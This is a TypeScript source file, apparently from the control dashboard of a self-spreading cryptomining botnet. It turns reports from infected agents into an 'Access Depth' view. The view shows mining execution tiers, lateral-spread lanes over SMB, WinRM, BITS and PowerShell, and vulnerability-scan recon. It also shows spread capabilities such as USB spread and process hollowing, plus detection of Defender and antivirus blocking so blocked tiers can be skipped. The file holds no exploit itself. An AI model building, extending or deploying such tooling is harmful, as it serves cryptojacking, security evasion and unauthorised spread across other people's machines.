Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
504 lines
17 KiB
TypeScript
504 lines
17 KiB
TypeScript
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
|
import type { Agent } from '../types';
|
|
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
|
|
|
|
/** Mirrors agent/miner/environment_probe.go */
|
|
export interface EnvironmentProbes {
|
|
docker?: boolean;
|
|
wsl?: boolean;
|
|
pwsh?: boolean;
|
|
dotnet?: boolean;
|
|
gpu?: boolean;
|
|
av_blocks_exe?: boolean;
|
|
webview2?: boolean;
|
|
}
|
|
|
|
export interface StrategyReason {
|
|
fact: string;
|
|
inference: string;
|
|
action: string;
|
|
}
|
|
|
|
export interface AdaptiveStrategyView {
|
|
tier_order?: string[];
|
|
skip_tiers?: string[];
|
|
reasoning?: StrategyReason[];
|
|
confidence?: number;
|
|
updated_at?: string;
|
|
}
|
|
|
|
export interface AtlasSkipView {
|
|
tier: string;
|
|
condition: string;
|
|
reason: string;
|
|
}
|
|
|
|
export interface AccessDepthDiagnostics {
|
|
environment_probes?: EnvironmentProbes;
|
|
tier_chain_order?: string[];
|
|
tier_chain_skipped?: string[];
|
|
atlas_skips?: AtlasSkipView[];
|
|
lotl_tier?: string;
|
|
lotl_attempts?: TierAttempt[];
|
|
active_method?: string;
|
|
execution_mode?: string;
|
|
adaptive_strategy?: AdaptiveStrategyView;
|
|
strategy_reasoning?: StrategyReason[];
|
|
}
|
|
|
|
export interface AccessDepthServerPolicy {
|
|
lotl_onion_tiers?: string[];
|
|
mining_tier_order?: string[];
|
|
mining_skip_tiers?: string[];
|
|
triple_onion?: {
|
|
recon_tiers?: string[];
|
|
deploy_lanes?: string[];
|
|
};
|
|
}
|
|
|
|
export interface ProbeChip {
|
|
key: string;
|
|
label: string;
|
|
ok: boolean;
|
|
}
|
|
|
|
export interface AccessDepthAttemptRow {
|
|
tier: string;
|
|
label: string;
|
|
ok: boolean;
|
|
error?: string;
|
|
phase?: string;
|
|
}
|
|
|
|
export interface OnionTierRow {
|
|
index: number;
|
|
tier: string;
|
|
label: string;
|
|
status: 'active' | 'skipped' | 'skipped_by_atlas' | 'pending' | 'done' | 'failed' | 'neutral';
|
|
atlasCondition?: string;
|
|
}
|
|
|
|
export interface AccessDepthModel {
|
|
platformLabel: string;
|
|
osLine: string;
|
|
probes: ProbeChip[];
|
|
spreadCaps: string[];
|
|
privilegeHints: string[];
|
|
activeTier?: string;
|
|
activeTierLabel?: string;
|
|
joinLane?: string;
|
|
succeeded: AccessDepthAttemptRow[];
|
|
failed: AccessDepthAttemptRow[];
|
|
inProgressTier?: string;
|
|
inProgressLabel?: string;
|
|
pendingTiers: string[];
|
|
pendingLabels: string[];
|
|
miningOnion: OnionTierRow[];
|
|
spreadOnion: OnionTierRow[];
|
|
tripleOnionSummary?: string;
|
|
miningOrderSource: 'agent' | 'server' | 'default' | 'adaptive';
|
|
adaptiveActive: boolean;
|
|
strategyReasoning: StrategyReason[];
|
|
adaptiveConfidence?: number;
|
|
atlasSkips: AtlasSkipView[];
|
|
phenotypeSource?: string;
|
|
phenotypeSpreadLane?: string;
|
|
}
|
|
|
|
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
|
|
export const DEFAULT_MINING_TIER_ORDER = [
|
|
'exe_subprocess',
|
|
'docker_load',
|
|
'container',
|
|
'wsl',
|
|
'ps_inmemory',
|
|
'cpu_inprocess',
|
|
'gpu_subprocess',
|
|
'stratum_direct',
|
|
] as const;
|
|
|
|
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
|
|
const DEFAULT_TRIPLE_DEPLOY = [
|
|
'discover_and_join',
|
|
'docker',
|
|
'wsl',
|
|
'powershell',
|
|
'dotnet',
|
|
'bits_curl',
|
|
'smb',
|
|
'winrm',
|
|
];
|
|
|
|
export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefined {
|
|
if (!raw || typeof raw !== 'object') return undefined;
|
|
const row = raw as Record<string, unknown>;
|
|
const probes: EnvironmentProbes = {};
|
|
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
|
|
if (typeof row[key] === 'boolean') probes[key] = row[key];
|
|
}
|
|
return Object.keys(probes).length > 0 ? probes : undefined;
|
|
}
|
|
|
|
export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): AccessDepthDiagnostics {
|
|
const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts);
|
|
const tier_chain_order = Array.isArray(raw.tier_chain_order)
|
|
? raw.tier_chain_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
|
: undefined;
|
|
const tier_chain_skipped = Array.isArray(raw.tier_chain_skipped)
|
|
? raw.tier_chain_skipped.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
|
: undefined;
|
|
const lotl_tier =
|
|
(typeof raw.lotl_tier === 'string' && raw.lotl_tier) ||
|
|
(typeof raw.active_tier === 'string' && raw.active_tier) ||
|
|
undefined;
|
|
|
|
const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy);
|
|
const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning;
|
|
const atlas_skips = parseAtlasSkips(raw.atlas_skips);
|
|
|
|
return {
|
|
environment_probes: parseEnvironmentProbes(raw.environment_probes),
|
|
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
|
|
tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined,
|
|
atlas_skips,
|
|
lotl_tier,
|
|
lotl_attempts: attempts.length ? attempts : undefined,
|
|
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
|
|
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
|
|
adaptive_strategy: adaptive,
|
|
strategy_reasoning: reasoning,
|
|
};
|
|
}
|
|
|
|
function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined {
|
|
if (!Array.isArray(raw)) return undefined;
|
|
const out: StrategyReason[] = [];
|
|
for (const row of raw) {
|
|
if (!row || typeof row !== 'object') continue;
|
|
const r = row as Record<string, unknown>;
|
|
if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') {
|
|
continue;
|
|
}
|
|
out.push({ fact: r.fact, inference: r.inference, action: r.action });
|
|
}
|
|
return out.length ? out : undefined;
|
|
}
|
|
|
|
function parseAdaptiveStrategy(raw: unknown): AdaptiveStrategyView | undefined {
|
|
if (!raw || typeof raw !== 'object') return undefined;
|
|
const row = raw as Record<string, unknown>;
|
|
const tier_order = Array.isArray(row.tier_order)
|
|
? row.tier_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
|
: undefined;
|
|
const skip_tiers = Array.isArray(row.skip_tiers)
|
|
? row.skip_tiers.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
|
: undefined;
|
|
const reasoning = parseStrategyReasoning(row.reasoning);
|
|
const confidence = typeof row.confidence === 'number' ? row.confidence : undefined;
|
|
const updated_at = typeof row.updated_at === 'string' ? row.updated_at : undefined;
|
|
if (!tier_order?.length && !reasoning?.length) return undefined;
|
|
return { tier_order, skip_tiers, reasoning, confidence, updated_at };
|
|
}
|
|
|
|
function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
|
|
if (a.length !== b.length) return true;
|
|
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
|
|
}
|
|
|
|
function platformLabel(platform?: string): string {
|
|
const p = (platform || '').toLowerCase();
|
|
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
|
if (p.includes('linux')) return 'Linux';
|
|
if (p.includes('win') || p === 'windows') return 'Windows';
|
|
return platform?.trim() || 'Unknown';
|
|
}
|
|
|
|
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
|
|
const p = probes ?? {};
|
|
const chips: ProbeChip[] = [
|
|
{ key: 'docker', label: 'Docker', ok: p.docker === true },
|
|
{ key: 'wsl', label: 'WSL', ok: p.wsl === true },
|
|
{ key: 'pwsh', label: 'PowerShell', ok: p.pwsh === true },
|
|
{ key: 'dotnet', label: 'dotnet', ok: p.dotnet === true },
|
|
{ key: 'gpu', label: 'GPU', ok: p.gpu === true || agent.gpu_miner_active === true },
|
|
{ key: 'webview2', label: 'WebView2', ok: p.webview2 === true },
|
|
];
|
|
if (p.av_blocks_exe === true) {
|
|
chips.push({ key: 'av', label: 'AV blocks exe', ok: false });
|
|
}
|
|
return chips.filter((c) => c.ok || probes != null);
|
|
}
|
|
|
|
function parseAtlasSkips(raw: unknown): AtlasSkipView[] | undefined {
|
|
if (!Array.isArray(raw)) return undefined;
|
|
const out: AtlasSkipView[] = [];
|
|
for (const row of raw) {
|
|
if (!row || typeof row !== 'object') continue;
|
|
const r = row as Record<string, unknown>;
|
|
if (typeof r.tier !== 'string' || typeof r.condition !== 'string') continue;
|
|
out.push({
|
|
tier: r.tier,
|
|
condition: r.condition,
|
|
reason: typeof r.reason === 'string' ? r.reason : '',
|
|
});
|
|
}
|
|
return out.length ? out : undefined;
|
|
}
|
|
|
|
export function atlasConditionLabel(condition: string): string {
|
|
switch (condition) {
|
|
case 'defender_on':
|
|
return 'Defender on';
|
|
case 'no_docker':
|
|
return 'no Docker';
|
|
case 'av_blocks_exe':
|
|
return 'AV blocks exe';
|
|
case 'goos=windows':
|
|
return 'Windows';
|
|
case 'goos=linux':
|
|
return 'Linux';
|
|
default:
|
|
return condition.replace(/_/g, ' ');
|
|
}
|
|
}
|
|
|
|
export function atlasSkipDisplayLabel(skip: AtlasSkipView): string {
|
|
return `${formatLotlTierLabel(skip.tier)} (${atlasConditionLabel(skip.condition)})`;
|
|
}
|
|
|
|
function spreadCapabilities(agent: Agent): string[] {
|
|
const caps = agent.capabilities;
|
|
const out: string[] = [];
|
|
if (caps?.auto_spread) out.push('auto_spread');
|
|
if (caps?.mesh_p2p) out.push('mesh_p2p');
|
|
if (caps?.hole_punch) out.push('hole_punch');
|
|
if (caps?.process_hollowing) out.push('process_hollowing');
|
|
if (caps?.usb_spread || agent.usb_spread) out.push('usb_spread');
|
|
if (caps?.remote_aggressive) out.push('remote_aggressive');
|
|
return out;
|
|
}
|
|
|
|
function privilegeHints(agent: Agent, diag?: AccessDepthDiagnostics): string[] {
|
|
const hints: string[] = [];
|
|
if (agent.agent_elevated === true) hints.push('elevated');
|
|
else if (agent.agent_elevated === false) hints.push('standard user');
|
|
if (agent.defender_rtp === true) hints.push('Defender RTP on');
|
|
else if (agent.defender_enabled === true) hints.push('Defender on');
|
|
if (agent.ssh_available === true) hints.push('SSH reachable');
|
|
if (typeof agent.posture_score === 'number') hints.push(`posture ${agent.posture_score}`);
|
|
if (diag?.execution_mode) hints.push(`exec ${diag.execution_mode}`);
|
|
return hints;
|
|
}
|
|
|
|
function attemptRows(attempts: TierAttempt[]): AccessDepthAttemptRow[] {
|
|
return attempts.map((a) => ({
|
|
tier: a.tier,
|
|
label: formatLotlTierLabel(a.tier),
|
|
ok: a.ok,
|
|
error: a.error,
|
|
phase: a.phase,
|
|
}));
|
|
}
|
|
|
|
function uniqueAttemptTiers(attempts: TierAttempt[]): Set<string> {
|
|
return new Set(attempts.map((a) => a.tier.trim().toLowerCase()));
|
|
}
|
|
|
|
function resolveMiningOrder(
|
|
diag: AccessDepthDiagnostics | undefined,
|
|
policy: AccessDepthServerPolicy | undefined,
|
|
agent: Agent,
|
|
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
|
|
if (diag?.adaptive_strategy?.tier_order?.length) {
|
|
const adaptiveOrder = diag.adaptive_strategy.tier_order;
|
|
const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
|
|
if (adaptiveActive || (diag.strategy_reasoning?.length ?? 0) > 0) {
|
|
return {
|
|
order: adaptiveOrder,
|
|
skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [],
|
|
source: 'adaptive',
|
|
};
|
|
}
|
|
}
|
|
if (diag?.tier_chain_order?.length) {
|
|
return {
|
|
order: diag.tier_chain_order,
|
|
skipped: diag.tier_chain_skipped ?? [],
|
|
source: 'agent',
|
|
};
|
|
}
|
|
if (policy?.mining_tier_order?.length) {
|
|
return {
|
|
order: policy.mining_tier_order,
|
|
skipped: policy.mining_skip_tiers ?? [],
|
|
source: 'server',
|
|
};
|
|
}
|
|
if (agent.chain_order?.length) {
|
|
return {
|
|
order: agent.chain_order,
|
|
skipped: [],
|
|
source: 'agent',
|
|
};
|
|
}
|
|
return {
|
|
order: [...DEFAULT_MINING_TIER_ORDER],
|
|
skipped: diag?.tier_chain_skipped ?? [],
|
|
source: 'default',
|
|
};
|
|
}
|
|
|
|
function buildOnionRows(
|
|
order: string[],
|
|
skipped: string[],
|
|
attempts: TierAttempt[],
|
|
activeTier?: string,
|
|
atlasSkips: AtlasSkipView[] = [],
|
|
): OnionTierRow[] {
|
|
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
|
|
const atlasByTier = new Map<string, AtlasSkipView>();
|
|
for (const skip of atlasSkips) {
|
|
atlasByTier.set(skip.tier.toLowerCase(), skip);
|
|
}
|
|
const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase()));
|
|
const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase()));
|
|
const active = activeTier?.toLowerCase();
|
|
|
|
const orderLower = new Set(order.map((s) => s.toLowerCase()));
|
|
const fullOrder = [
|
|
...order,
|
|
...skipped.filter((s) => !orderLower.has(s.toLowerCase())),
|
|
...atlasSkips.map((s) => s.tier).filter((s) => !orderLower.has(s.toLowerCase()) && !skippedSet.has(s.toLowerCase())),
|
|
];
|
|
|
|
return fullOrder.map((tier, i) => {
|
|
const key = tier.toLowerCase();
|
|
const atlas = atlasByTier.get(key);
|
|
let status: OnionTierRow['status'] = 'neutral';
|
|
if (active && key === active) status = 'active';
|
|
else if (atlas) status = 'skipped_by_atlas';
|
|
else if (skippedSet.has(key)) status = 'skipped';
|
|
else if (okSet.has(key)) status = 'done';
|
|
else if (failSet.has(key)) status = 'failed';
|
|
else status = 'pending';
|
|
|
|
return {
|
|
index: i + 1,
|
|
tier,
|
|
label: formatLotlTierLabel(tier),
|
|
status,
|
|
atlasCondition: atlas?.condition,
|
|
};
|
|
});
|
|
}
|
|
|
|
function computePendingTiers(
|
|
order: string[],
|
|
skipped: string[],
|
|
attempts: TierAttempt[],
|
|
): string[] {
|
|
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
|
|
const touched = uniqueAttemptTiers(attempts);
|
|
return order.filter((t) => {
|
|
const key = t.toLowerCase();
|
|
return !skippedSet.has(key) && !touched.has(key);
|
|
});
|
|
}
|
|
|
|
function detectInProgress(
|
|
agent: Agent,
|
|
attempts: TierAttempt[],
|
|
pending: string[],
|
|
activeTier?: string,
|
|
): string | undefined {
|
|
if (agent.status !== 'online') return undefined;
|
|
if (activeTier) {
|
|
const lastForActive = [...attempts].reverse().find((a) => a.tier.toLowerCase() === activeTier.toLowerCase());
|
|
if (!lastForActive || !lastForActive.ok) return activeTier;
|
|
}
|
|
return pending[0];
|
|
}
|
|
|
|
export function buildAccessDepthModel(
|
|
agent: Agent,
|
|
diagnostics?: AccessDepthDiagnostics,
|
|
policy?: AccessDepthServerPolicy,
|
|
): AccessDepthModel {
|
|
const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? [];
|
|
const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier;
|
|
const atlasSkips = diagnostics?.atlas_skips ?? [];
|
|
const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent);
|
|
const pending = computePendingTiers(order, skipped, attempts);
|
|
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
|
|
|
|
const spreadOrder =
|
|
policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
|
|
? policy.lotl_onion_tiers
|
|
: [...DEFAULT_LOTL_ONION_TIERS];
|
|
|
|
const recon = policy?.triple_onion?.recon_tiers?.length
|
|
? policy.triple_onion.recon_tiers
|
|
: DEFAULT_TRIPLE_RECON;
|
|
const deploy = policy?.triple_onion?.deploy_lanes?.length
|
|
? policy.triple_onion.deploy_lanes
|
|
: DEFAULT_TRIPLE_DEPLOY;
|
|
|
|
const osParts = [platformLabel(agent.platform)];
|
|
if (agent.os_version) osParts.push(agent.os_version);
|
|
if (agent.arch) osParts.push(agent.arch);
|
|
|
|
return {
|
|
platformLabel: platformLabel(agent.platform),
|
|
osLine: osParts.join(' · '),
|
|
probes: probeChips(diagnostics?.environment_probes, agent),
|
|
spreadCaps: spreadCapabilities(agent),
|
|
privilegeHints: privilegeHints(agent, diagnostics),
|
|
activeTier,
|
|
activeTierLabel: activeTier ? formatLotlTierLabel(activeTier) : undefined,
|
|
joinLane: agent.join_lane,
|
|
succeeded: attemptRows(attempts.filter((a) => a.ok)),
|
|
failed: attemptRows(attempts.filter((a) => !a.ok)),
|
|
inProgressTier,
|
|
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
|
|
pendingTiers: pending,
|
|
pendingLabels: pending.map(formatLotlTierLabel),
|
|
miningOnion: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips),
|
|
spreadOnion: spreadOrder.map((tier, i) => ({
|
|
index: i + 1,
|
|
tier,
|
|
label: formatLotlTierLabel(tier),
|
|
status: 'neutral' as const,
|
|
})),
|
|
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`,
|
|
miningOrderSource: source,
|
|
adaptiveActive: source === 'adaptive',
|
|
strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [],
|
|
adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence,
|
|
atlasSkips,
|
|
phenotypeSource: agent.inherited_phenotype?.source_agent_name,
|
|
phenotypeSpreadLane: agent.inherited_phenotype?.spread_lane,
|
|
};
|
|
}
|
|
|
|
export function parseAccessDepthServerPolicy(config: {
|
|
server?: {
|
|
lotl_onion_tiers?: string[];
|
|
triple_onion_policy?: {
|
|
recon_tiers?: string[];
|
|
deploy_lanes?: string[];
|
|
};
|
|
};
|
|
}): AccessDepthServerPolicy {
|
|
const server = config.server;
|
|
return {
|
|
lotl_onion_tiers: server?.lotl_onion_tiers,
|
|
mining_tier_order: [...DEFAULT_MINING_TIER_ORDER],
|
|
triple_onion: server?.triple_onion_policy
|
|
? {
|
|
recon_tiers: server.triple_onion_policy.recon_tiers,
|
|
deploy_lanes: server.triple_onion_policy.deploy_lanes,
|
|
}
|
|
: undefined,
|
|
};
|
|
}
|